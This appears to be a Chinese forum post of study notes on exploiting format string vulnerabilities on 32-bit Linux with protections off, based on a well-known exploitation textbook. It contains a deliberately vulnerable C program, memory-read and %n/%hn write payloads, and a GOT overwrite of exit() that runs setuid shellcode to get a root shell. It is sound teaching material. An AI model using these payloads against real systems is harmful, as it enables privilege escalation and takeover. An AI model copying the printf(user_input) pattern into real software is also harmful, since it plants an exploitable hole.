[原创]Linux下面格式化字符串漏洞,学习笔记分享.

搬砖王

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[原创]Linux下面格式化字符串漏洞,学习笔记分享.

0x00 准备
记录学习格式化字符串安全问题,依然不启用安全机制(NX, ALSR, CANARY),主要实验部分参考<<hacking: The art of exploitation>>,更多参考资料参见Reference.
示例内存布局

printf("A is %d and is at %08x. B is %x.\n", A, &A, B) :

top of stack bottom of stack
|--address of format string--|--value of A--|--address of A--|--value of B--|

存在格式化字符串问题的示例代码如下:


/*

 * gcc -fno-stack-protector -m32 -z execstack -o 

 */

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argv[]) {

   char text[1024];

   static int test_val = -72;

 

   if(argc < 2) {

      printf("Usage: %s <text to print>\n", argv[0]);

      exit(0);

   }

   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");

   printf("%s", text);

   printf("\nThe wrong way to print user-controlled input:\n");

   printf(text);

   printf("\n");

   // Debug output

   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);

}

看见里面几个%格式化参数,我们主要关注的格式化参数如下(其余的不是特别关注):

    %h 把int转换为signed char或unsiged char,如果后面接n转换一个指针到char.
    %s 从内存中读取字符串
    %x 输出十六进制数
    %n 写入这个地方的偏移量

0x10 初步
初步探索,发现在testing后面接上一格式化字符串发现输出很奇怪的东西,其实这个就是内存读取了,结合着内存空间分别你可以知道读哪里.


Sn0rt@warzone:~/lab$ ./fmt testing

The right way to print user-controlled input:

testing

The wrong way to print user-controlled input:

testing

[*] test_val @ 0x0804a030 = -72 0xffffffb8

Sn0rt@warzone:~/lab$ ./fmt testing%x

The right way to print user-controlled input:

testing%x

The wrong way to print user-controlled input:

testingbffff270

[*] test_val @ 0x0804a030 = -72 0xffffffb8

Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print "0%x8." * 10')

The right way to print user-controlled input:

0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.

The wrong way to print user-controlled input:

0bffff2508.04c8.048.0387825308.07825302e8.025302e388.0302e38788.02e3878258.0387825308.07825302e8.

[*] test_val @ 0x0804a030 = -72 0xffffffb8

0x11 任意读内存
这个示例,需要辅助程序来帮助读环境变量的内存地址,辅助程序源码如下:


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argv[]) {

  char *ptr;

  if(argc < 3) {

    printf("Usage: %s <environment variable> <target program name>\n", argv[0]);

    exit(0);

  }

  ptr = getenv(argv[1]); /* get env var location */

  ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */

  printf("%s will be at %p\n", argv[1], ptr);

}

利用%s可以从内存读取字符串,以读取PATH为例子,首先获取PATH的内存地址.


Sn0rt@warzone:~/lab$ ./getaddr PATH fmt

PATH will be at 0xbffffe26

然后构造格式化字符串(注意intel小端序),到%s落到\x26\xfe\xff\xbf上直到遇见NULL之前的数据按照字符串打印出来.


Sn0rt@warzone:~/lab$ ./fmt $(printf "\x26\xfe\xff\xbf")%08x.%08x.%08x.%s

The right way to print user-controlled input:

&???%08x.%08x.%08x.%s

The wrong way to print user-controlled input:

&???bffff270.0000004c.00000004./local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

[*] test_val @ 0x0804a030 = -72 0xffffffb8

读$PATH成功!
0x12 任意写内存之-%x
可以利用%n写其对应数据的位置到内存,不过这个写方法还是蛮麻烦的,参考<<灰帽黑客:正义...>>第三版11.1.3写入任意内存提供了一个魔幻公式.
我们以写入0xddccbbaa到test_val为例


Sn0rt@warzone:~/lab$ ./fmt $(printf "\x30\xa0\x04\x08")%x%x%156x%n

The right way to print user-controlled input:

0?%x%x%156x%n

The wrong way to print user-controlled input:

0?bffff2704c                                                                                                                                                          4

[*] test_val @ 0x0804a030 = 170 0x000000aa

Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08TEST\x31\xa0\x04\x08TEST\x32\xa0\x04\x08TEST\x33\xa0\x04\x08" + "%x%x%132x%n%17x%n%17x%n%17x%n")')

The right way to print user-controlled input:

0?TEST1?TEST2?TEST3?%x%x%132x%n%17x%n%17x%n%17x%n

The wrong way to print user-controlled input:

0?TEST1?TEST2?TEST3?bffff2404c                                                                                                                                   4         54534554         54534554         54534554

[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa

0x13 任意内存写-直接参数访问
%Number$n直接参数访问构造出来的payload相对与上面用一堆%n构造出来简洁一些,依然写入0xddccbbaa
.


Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n")')

The right way to print user-controlled input:

0?1?2?3?%154x%4$n

The wrong way to print user-controlled input:

0?1?2?3?                                                                                                                                                  bffff260

[*] test_val @ 0x0804a030 = 170 0x000000AA

Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n" + "%17x%5$n" + "%17x%6$n" + "%17x%7$n")')

The right way to print user-controlled input:

0?1?2?3?%154x%4$n%17x%5$n%17x%6$n%17x%7$n

The wrong way to print user-controlled input:

0?1?2?3?                                                                                                                                                  bffff250               4c                4          804a030

[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa

0x14 任意内存写-%h
利用%h可以把payload构造更加简洁,而且一次写入两个字节,这个具体计算方法就是那个魔法公式.
引用printf手册:
> h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds
to a pointer to a short int argument.
如法炮制,写入0xddccbbaa到test_val.


Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x32\xa0\x04\x08" + "%43699x%4$hn" + "%13073x%5$h")')

....

[*] test_val @ 0x0804a030 = -857888069 0xddccaabb

0x20 利用
既然我们能写内存,那么就能写入到一些关键的地方,来控制程序的流向.
0x21 .dtors
思路1,.dtors类似于C++里面构造函数,函数声明成这个样子static void func(void) __attribute__ ((destructor))就类似与C++里面析构函数,我们打算把shellcode放到环境变量里面,然后利用格式化字符串覆写_DTOR_END_,按照设计程序会在退出时候调用exit()且在exit()返回前,会去调用_DTOR_END_地址的函数,用shellcode在内存里面的地址覆盖掉_DTOR_END_就能exit()返回前执行shellcode.
不过这个新版本的gcc生成链接代码的时候生成的ELF里面已经没有_DTOR_LIST_与_DTOR_LIST_字段了,那么就不知道覆盖哪了,so这个思路有点过期了.
0x22 覆写GOT
思路2:类似覆盖.dtors,利用格式化字符串漏洞把exit()@plt覆写为shellode的环境变量里面的地址,程序在原来调用exit()地方就会转跳到shellcode上执行.
做法,首先需要把shellcode放置到环境变量里面,后获取其地址,shellcode[下载](../media/attach/shellcode.bin).这个shellcode是setuid(0)然后execve(),所有要对有suid位的程序使用,如果非suid则setuid(0)调用失败.
.


Sn0rt@warzone:~/lab$ sudo chown root:root fmt

Sn0rt@warzone:~/lab$ sudo chmod u+s fmt

Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)

Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./fmt

SHELLCODE will be at 0xbffff84a

打算把exit()地址覆写为shellcode地址,这个地方利用魔法公式计算一下


Sn0rt@warzone:~/lab$ objdump -R fmt

fmt:     file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE 

...

0804a01c R_386_JUMP_SLOT   exit

0804a020 R_386_JUMP_SLOT   __libc_start_main

0804a024 R_386_JUMP_SLOT   putchar

Sn0rt@warzone:~/lab$ python

...

>>> 0xbfff - 8

49143

>>> 0xf84a - 0xbfff

14411

    

Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x1e\xa0\x04\x08" + "\x1c\xa0\x04\x08" + "%49143x%4$hn" + "%14411x%5$hn")')

...

[*] test_val @ 0x0804a030 = -72 0xffffffb8

sh-4.3# exit

0x03 局限
虽然这样覆盖exit()@plt成功了,但是如果开启了NX这样的方法就不行了,一个原因就是$SHELLCODE放在环境变量里面,环境变量stack上(具体还是有点区分的),NX是不允许里面[stack]有x的.


Sn0rt@warzone:~/lab$ gdb fmt 

Reading symbols from fmt...(no debugging symbols found)...done.

gdb-peda$ b main

Breakpoint 1 at 0x80484e0

...

gdb-peda$ r

...

gdb-peda$ searchmem "SHELLCODE" 

Searching for 'SHELLCODE' in: None ranges

Found 1 results, display max 1 items:

[stack] : 0xbffff88d ("SHELLCODE=1\300\061\333\061?\260\244?j\vXQh//shh/bin\211\343Q\211\342S\211\341?")

...

gdb-peda$ vmmap 

Start      End        Perm  Name

0x08048000 0x08049000 r-xp  /home/Sn0rt/lab/fmt

...

0xbffdf000 0xc0000000 rwxp  [stack]

Reference
[1] <<Hacking: the art of exploitation>>
[2] <<灰帽黑客: 正义黑客的道德规范,渗透测试,攻击方法和漏洞分析技术>>

脱壳与加壳

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